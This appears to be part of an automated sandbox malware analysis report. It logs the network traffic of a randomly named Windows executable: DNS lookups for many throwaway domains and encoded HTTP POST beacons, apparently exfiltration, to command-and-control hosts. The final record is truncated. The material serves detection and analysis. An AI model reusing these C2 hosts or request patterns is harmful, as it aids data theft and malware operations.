Oct 30, 2024 08:13:25.893584013 CET	50052	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:26.913177967 CET	50053	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:26.919003010 CET	80	50053	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:26.926057100 CET	50053	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:26.942014933 CET	50053	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:26.947469950 CET	80	50053	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:28.198921919 CET	80	50053	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:28.199239969 CET	80	50053	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:28.199271917 CET	80	50053	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:28.199290991 CET	50053	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:28.199333906 CET	50053	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:28.456013918 CET	50053	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:29.482276917 CET	50054	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:29.487744093 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.487879038 CET	50054	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:29.499329090 CET	50054	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:29.504754066 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504766941 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504786968 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504796982 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504806995 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504885912 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504906893 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504935026 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:29.504944086 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:30.466429949 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:30.545952082 CET	50054	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:30.644228935 CET	80	50054	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:30.644366026 CET	50054	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:31.006685019 CET	50054	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:32.022988081 CET	50055	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:32.028595924 CET	80	50055	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:32.028673887 CET	50055	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:32.039005041 CET	50055	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:32.044500113 CET	80	50055	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:32.998105049 CET	80	50055	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:33.173841953 CET	80	50055	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:33.174084902 CET	50055	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:33.175215006 CET	50055	80	192.168.2.4	34.92.128.59
Oct 30, 2024 08:13:33.180586100 CET	80	50055	34.92.128.59	192.168.2.4
Oct 30, 2024 08:13:38.212658882 CET	50056	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:38.218231916 CET	80	50056	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:38.218506098 CET	50056	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:38.229788065 CET	50056	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:38.235131979 CET	80	50056	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:39.234744072 CET	80	50056	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:39.287978888 CET	50056	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:39.446569920 CET	80	50056	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:39.446757078 CET	50056	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:39.737049103 CET	50056	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:40.775918007 CET	50057	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:40.781389952 CET	80	50057	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:40.781586885 CET	50057	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:40.799501896 CET	50057	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:40.804965019 CET	80	50057	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:41.790015936 CET	80	50057	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:41.851526022 CET	50057	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:41.995016098 CET	80	50057	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:41.995068073 CET	50057	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:42.315155983 CET	50057	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:43.333878994 CET	50058	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:43.339520931 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.339644909 CET	50058	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:43.354258060 CET	50058	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:43.359803915 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.359853029 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.359951019 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.359985113 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.360013008 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.360039949 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.360066891 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.360116959 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:43.360145092 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:44.345587969 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:44.467456102 CET	50058	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:44.564929008 CET	80	50058	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:44.565004110 CET	50058	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:44.865087032 CET	50058	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:45.881563902 CET	50059	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:45.887310982 CET	80	50059	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:45.887428045 CET	50059	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:45.896469116 CET	50059	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:45.901947975 CET	80	50059	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:46.886544943 CET	80	50059	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:46.940067053 CET	50059	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:47.090626955 CET	80	50059	152.42.255.48	192.168.2.4
Oct 30, 2024 08:13:47.092147112 CET	50059	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:47.095977068 CET	50059	80	192.168.2.4	152.42.255.48
Oct 30, 2024 08:13:47.102293968 CET	80	50059	152.42.255.48	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 08:10:32.284318924 CET	55178	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:10:32.302987099 CET	53	55178	1.1.1.1	192.168.2.4
Oct 30, 2024 08:10:48.012514114 CET	59651	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:10:49.003021955 CET	59651	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:10:49.027604103 CET	53	59651	1.1.1.1	192.168.2.4
Oct 30, 2024 08:10:49.027617931 CET	53	59651	1.1.1.1	192.168.2.4
Oct 30, 2024 08:11:02.883480072 CET	56189	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:11:02.900844097 CET	53	56189	1.1.1.1	192.168.2.4
Oct 30, 2024 08:11:16.553838015 CET	63639	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:11:16.601387024 CET	53	63639	1.1.1.1	192.168.2.4
Oct 30, 2024 08:11:30.256859064 CET	56568	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:11:30.276035070 CET	53	56568	1.1.1.1	192.168.2.4
Oct 30, 2024 08:11:43.835290909 CET	51931	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:11:43.861886024 CET	53	51931	1.1.1.1	192.168.2.4
Oct 30, 2024 08:11:57.616776943 CET	52196	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:11:57.634108067 CET	53	52196	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:11.076071024 CET	54664	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:12.065435886 CET	54664	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:13.084084034 CET	54664	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:14.225992918 CET	53	54664	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:14.226046085 CET	53	54664	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:14.226094007 CET	53	54664	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:28.038857937 CET	64061	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:29.036067963 CET	64061	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:29.581048965 CET	53	64061	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:29.581088066 CET	53	64061	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:42.975102901 CET	50013	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:43.162647963 CET	53	50013	1.1.1.1	192.168.2.4
Oct 30, 2024 08:12:56.460845947 CET	50282	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:12:56.718436003 CET	53	50282	1.1.1.1	192.168.2.4
Oct 30, 2024 08:13:10.522691011 CET	54874	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:13:10.703067064 CET	53	54874	1.1.1.1	192.168.2.4
Oct 30, 2024 08:13:24.350954056 CET	61275	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:13:24.363662958 CET	53	61275	1.1.1.1	192.168.2.4
Oct 30, 2024 08:13:38.194443941 CET	50185	53	192.168.2.4	1.1.1.1
Oct 30, 2024 08:13:38.210107088 CET	53	50185	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 30, 2024 08:10:32.284318924 CET	192.168.2.4	1.1.1.1	0xff01	Standard query (0)	www.iampinky.info	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:10:48.012514114 CET	192.168.2.4	1.1.1.1	0xf686	Standard query (0)	www.cotti.club	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:10:49.003021955 CET	192.168.2.4	1.1.1.1	0xf686	Standard query (0)	www.cotti.club	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:02.883480072 CET	192.168.2.4	1.1.1.1	0x4498	Standard query (0)	www.solarand.online	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:16.553838015 CET	192.168.2.4	1.1.1.1	0x3cfb	Standard query (0)	www.030002059.xyz	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:30.256859064 CET	192.168.2.4	1.1.1.1	0xebdf	Standard query (0)	www.xipowerplay.xyz	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:43.835290909 CET	192.168.2.4	1.1.1.1	0x7a52	Standard query (0)	www.stationseek.online	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:57.616776943 CET	192.168.2.4	1.1.1.1	0x2f77	Standard query (0)	www.091210.xyz	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:11.076071024 CET	192.168.2.4	1.1.1.1	0x52a6	Standard query (0)	www.adsa6c.top	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:12.065435886 CET	192.168.2.4	1.1.1.1	0x52a6	Standard query (0)	www.adsa6c.top	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:13.084084034 CET	192.168.2.4	1.1.1.1	0x52a6	Standard query (0)	www.adsa6c.top	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:28.038857937 CET	192.168.2.4	1.1.1.1	0x213b	Standard query (0)	www.simplek.top	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:29.036067963 CET	192.168.2.4	1.1.1.1	0x213b	Standard query (0)	www.simplek.top	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:42.975102901 CET	192.168.2.4	1.1.1.1	0xaef4	Standard query (0)	www.297676.com	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:56.460845947 CET	192.168.2.4	1.1.1.1	0xf3ff	Standard query (0)	www.cesach.net	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:13:10.522691011 CET	192.168.2.4	1.1.1.1	0xbcf5	Standard query (0)	www.basicreviews.online	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:13:24.350954056 CET	192.168.2.4	1.1.1.1	0xb094	Standard query (0)	www.sgland06.online	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:13:38.194443941 CET	192.168.2.4	1.1.1.1	0xb452	Standard query (0)	www.extrime1.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 30, 2024 08:10:32.302987099 CET	1.1.1.1	192.168.2.4	0xff01	No error (0)	www.iampinky.info	iampinky.info		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:10:32.302987099 CET	1.1.1.1	192.168.2.4	0xff01	No error (0)	iampinky.info		3.33.130.190	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:10:32.302987099 CET	1.1.1.1	192.168.2.4	0xff01	No error (0)	iampinky.info		15.197.148.33	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:10:49.027604103 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	www.cotti.club		103.120.80.111	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:10:49.027617931 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	www.cotti.club		103.120.80.111	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:02.900844097 CET	1.1.1.1	192.168.2.4	0x4498	No error (0)	www.solarand.online	solarand.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:11:02.900844097 CET	1.1.1.1	192.168.2.4	0x4498	No error (0)	solarand.online		217.160.0.60	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:16.601387024 CET	1.1.1.1	192.168.2.4	0x3cfb	No error (0)	www.030002059.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:30.276035070 CET	1.1.1.1	192.168.2.4	0xebdf	No error (0)	www.xipowerplay.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:30.276035070 CET	1.1.1.1	192.168.2.4	0xebdf	No error (0)	www.xipowerplay.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:43.861886024 CET	1.1.1.1	192.168.2.4	0x7a52	No error (0)	www.stationseek.online	stationseek.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:11:43.861886024 CET	1.1.1.1	192.168.2.4	0x7a52	No error (0)	stationseek.online		198.251.84.200	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:57.634108067 CET	1.1.1.1	192.168.2.4	0x2f77	No error (0)	www.091210.xyz		172.67.154.67	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:11:57.634108067 CET	1.1.1.1	192.168.2.4	0x2f77	No error (0)	www.091210.xyz		104.21.48.156	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:14.225992918 CET	1.1.1.1	192.168.2.4	0x52a6	No error (0)	www.adsa6c.top		20.2.249.7	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:14.226046085 CET	1.1.1.1	192.168.2.4	0x52a6	No error (0)	www.adsa6c.top		20.2.249.7	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:14.226094007 CET	1.1.1.1	192.168.2.4	0x52a6	No error (0)	www.adsa6c.top		20.2.249.7	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:29.581048965 CET	1.1.1.1	192.168.2.4	0x213b	No error (0)	www.simplek.top		203.161.49.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:29.581088066 CET	1.1.1.1	192.168.2.4	0x213b	No error (0)	www.simplek.top		203.161.49.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:43.162647963 CET	1.1.1.1	192.168.2.4	0xaef4	No error (0)	www.297676.com		199.59.243.227	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:12:56.718436003 CET	1.1.1.1	192.168.2.4	0xf3ff	No error (0)	www.cesach.net		217.76.156.252	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:13:10.703067064 CET	1.1.1.1	192.168.2.4	0xbcf5	No error (0)	www.basicreviews.online	basicreviews.online		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:13:10.703067064 CET	1.1.1.1	192.168.2.4	0xbcf5	No error (0)	basicreviews.online		144.76.190.39	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:13:24.363662958 CET	1.1.1.1	192.168.2.4	0xb094	No error (0)	www.sgland06.online		34.92.128.59	A (IP address)	IN (0x0001)	false
Oct 30, 2024 08:13:38.210107088 CET	1.1.1.1	192.168.2.4	0xb452	No error (0)	www.extrime1.shop	extrime1.shop		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 08:13:38.210107088 CET	1.1.1.1	192.168.2.4	0xb452	No error (0)	extrime1.shop		152.42.255.48	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.iampinky.info

www.cotti.club

www.solarand.online

www.030002059.xyz

www.xipowerplay.xyz

www.stationseek.online

www.091210.xyz

www.adsa6c.top

www.simplek.top

www.297676.com

www.cesach.net

www.basicreviews.online

www.sgland06.online

www.extrime1.shop

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	3.33.130.190	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:10:32.326267004 CET	446	OUT	GET /nhtq/?ZT=0+mU6fX4mGgH3aI4KvnZ0Dnt9NN9uhfQ4WQLoO9YJQq1rLkiV3mWe/ShpiWb6GRwN8XKSHyyPlz1ODC2MK0vYsx4EzdsG0j0QesGBnWjRvygBOdKdkC21k4=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.iampinky.info Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:10:32.953885078 CET	394	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 30 Oct 2024 07:10:32 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 5a 54 3d 30 2b 6d 55 36 66 58 34 6d 47 67 48 33 61 49 34 4b 76 6e 5a 30 44 6e 74 39 4e 4e 39 75 68 66 51 34 57 51 4c 6f 4f 39 59 4a 51 71 31 72 4c 6b 69 56 33 6d 57 65 2f 53 68 70 69 57 62 36 47 52 77 4e 38 58 4b 53 48 79 79 50 6c 7a 31 4f 44 43 32 4d 4b 30 76 59 73 78 34 45 7a 64 73 47 30 6a 30 51 65 73 47 42 6e 57 6a 52 76 79 67 42 4f 64 4b 64 6b 43 32 31 6b 34 3d 26 6d 54 6b 44 3d 47 6a 32 54 69 32 54 30 67 34 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ZT=0+mU6fX4mGgH3aI4KvnZ0Dnt9NN9uhfQ4WQLoO9YJQq1rLkiV3mWe/ShpiWb6GRwN8XKSHyyPlz1ODC2MK0vYsx4EzdsG0j0QesGBnWjRvygBOdKdkC21k4=&mTkD=Gj2Ti2T0g4"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49794	103.120.80.111	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:10:49.047422886 CET	704	OUT	POST /3ej6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.cotti.club Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.cotti.club Referer: http://www.cotti.club/3ej6/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4c 64 51 48 35 43 50 32 46 6c 65 53 30 51 58 34 77 58 4e 37 55 65 4b 5a 52 4a 6b 49 41 69 56 75 78 71 64 71 6c 66 57 42 76 66 49 78 41 41 39 41 79 70 45 53 4d 68 77 58 72 57 44 36 64 35 6d 67 6f 79 70 4f 62 33 6b 62 47 5a 75 54 55 47 35 4d 4d 37 43 74 42 68 42 47 49 49 2b 6b 68 30 57 4b 2b 62 78 63 41 30 4c 44 72 2f 68 70 43 42 49 59 41 56 41 73 74 41 68 38 47 66 67 4e 63 78 45 56 7a 44 74 64 39 61 45 72 39 39 61 38 31 68 44 53 74 79 74 5a 31 67 38 7a 35 44 55 5a 6e 77 34 41 6f 32 51 76 50 39 72 4c 4a 58 71 6b 32 64 6f 7a 51 4c 67 67 41 57 49 53 36 34 36 73 78 6c 4c 2f 53 77 3d 3d Data Ascii: ZT=LdQH5CP2FleS0QX4wXN7UeKZRJkIAiVuxqdqlfWBvfIxAA9AypESMhwXrWD6d5mgoypOb3kbGZuTUG5MM7CtBhBGII+kh0WK+bxcA0LDr/hpCBIYAVAstAh8GfgNcxEVzDtd9aEr99a81hDStytZ1g8z5DUZnw4Ao2QvP9rLJXqk2dozQLggAWIS646sxlL/Sw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49810	103.120.80.111	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:10:51.605058908 CET	724	OUT	POST /3ej6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.cotti.club Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.cotti.club Referer: http://www.cotti.club/3ej6/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4c 64 51 48 35 43 50 32 46 6c 65 53 30 77 6e 34 79 77 5a 37 53 2b 4b 65 64 70 6b 49 4c 43 56 71 78 71 52 71 6c 65 43 72 76 71 34 78 41 68 4e 41 78 74 77 53 42 42 77 58 6a 32 44 37 58 5a 6e 73 6f 79 6c 77 62 79 6b 62 47 61 53 54 55 48 4a 4d 4d 6f 61 75 42 78 42 45 48 6f 2b 69 76 55 57 4b 2b 62 78 63 41 31 76 39 72 2f 4a 70 43 52 59 59 50 58 6b 6a 7a 51 68 2f 50 2f 67 4e 57 52 45 52 7a 44 73 2b 39 62 49 52 39 2b 69 38 31 6b 76 53 73 6a 74 59 38 67 38 31 33 6a 56 79 67 7a 6c 30 6d 45 73 69 53 64 37 79 4c 6b 79 33 36 37 6c 70 42 36 42 33 53 57 73 68 6e 2f 7a 59 38 6d 32 32 4a 34 38 55 45 72 4b 76 57 38 67 56 72 52 56 77 36 46 53 48 63 34 77 3d Data Ascii: ZT=LdQH5CP2FleS0wn4ywZ7S+KedpkILCVqxqRqleCrvq4xAhNAxtwSBBwXj2D7XZnsoylwbykbGaSTUHJMMoauBxBEHo+ivUWK+bxcA1v9r/JpCRYYPXkjzQh/P/gNWRERzDs+9bIR9+i81kvSsjtY8g813jVygzl0mEsiSd7yLky367lpB6B3SWshn/zY8m22J48UErKvW8gVrRVw6FSHc4w=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49826	103.120.80.111	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:10:54.154606104 CET	10806	OUT	POST /3ej6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.cotti.club Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.cotti.club Referer: http://www.cotti.club/3ej6/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 4c 64 51 48 35 43 50 32 46 6c 65 53 30 77 6e 34 79 77 5a 37 53 2b 4b 65 64 70 6b 49 4c 43 56 71 78 71 52 71 6c 65 43 72 76 72 73 78 41 54 31 41 79 4b 73 53 41 42 77 58 70 57 44 32 58 5a 6d 32 6f 32 4a 4b 62 79 68 35 47 66 65 54 56 6c 42 4d 59 4a 61 75 53 52 42 45 46 6f 2b 6e 68 30 57 6c 2b 62 68 51 41 30 66 39 72 2f 4a 70 43 58 63 59 47 6c 41 6a 78 51 68 38 47 66 67 42 63 78 45 70 7a 48 35 46 39 62 64 6d 39 50 43 38 32 46 44 53 71 51 46 59 67 77 38 33 36 44 56 71 67 7a 70 72 6d 45 68 54 53 65 6e 55 4c 69 4f 33 72 4d 30 73 57 35 52 79 51 46 55 2f 34 4e 58 6a 37 6b 71 41 47 4b 46 76 43 75 57 73 4a 4f 63 36 6d 77 49 36 75 47 65 57 43 59 50 4b 6d 64 5a 6c 57 43 58 64 52 33 59 7a 4c 53 71 4e 4f 78 6b 35 53 35 51 70 63 79 74 6d 2b 42 38 35 4f 4b 37 4a 71 36 74 70 64 42 30 56 46 34 79 36 54 36 72 4e 61 77 59 38 6a 48 4e 6e 4e 6b 6f 70 71 56 2b 34 4f 45 52 56 70 6c 77 43 70 4f 73 57 36 79 49 50 57 36 5a 2b 6e 55 39 30 64 66 41 6c 64 35 77 79 67 64 72 4c 47 53 2b 56 4c 48 66 43 2b 45 72 67 55 4e 46 [TRUNCATED] Data Ascii: 